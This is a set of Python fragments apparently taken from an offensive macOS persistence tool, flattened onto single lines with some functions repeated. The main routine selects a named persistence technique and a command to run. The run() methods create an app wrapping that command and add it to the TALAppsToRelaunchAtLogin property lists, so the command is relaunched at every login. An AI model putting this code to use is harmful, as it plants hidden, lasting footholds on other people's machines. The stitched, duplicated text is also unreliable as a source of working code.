def main(): parser = get_parser() args = vars(parser.parse_args()) technique_list = Technique.__subclasses__() print(BANNER) if args['list']: seperator = f'+{"-"*20}+' for technique in technique_list: print(f'{seperator}\n| {technique.__name__:<18} |') print(seperator) return name = args['name'] remove = args['remove'] command = args['command'] technique = args['technique'] if not (name and technique): print_status('missing_option', stop=True) for technique_class in technique_list: technique_name = technique_class.__name__ if technique_name.lower() == technique.strip().lower(): if not command: command = get_trigger_command(technique_name) t = technique_class(name, command) if remove: t.remove() else: t.run()
def run(self): print_status( "warning", "This technique is finicky and might not work as expected, YMMV.") app_path = create_app(self.name, self.command, "Reopen") for path in self.get_plist_paths(): plist_data = get_plist(path) plist_data["TALAppsToRelaunchAtLogin"].append({ "Hide": False, "BundleID": self.name, "Path": app_path, "BackgroundState": 2, }) write_plist(path, plist_data)
def run(self): print_status( 'warning', 'This technique is finicky and might not work as expected, YMMV.') app_path = create_app(self.name, self.command, 'Reopen') for path in self.get_plist_paths(): plist_data = get_plist(path) plist_data['TALAppsToRelaunchAtLogin'].append({ 'Hide': False, 'BundleID': self.name, 'Path': app_path, 'BackgroundState': 2 }) write_plist(path, plist_data)
def display_result(self): if self.success: print_status("success", text=self.technique) else: print_status("failure", text=self.technique) print_status("python_error", text=self.error_message)
def display_result(self): if self.success: print_status('success', text=self.technique) else: print_status('failure', text=self.technique) print_status('python_error', text=self.error_message)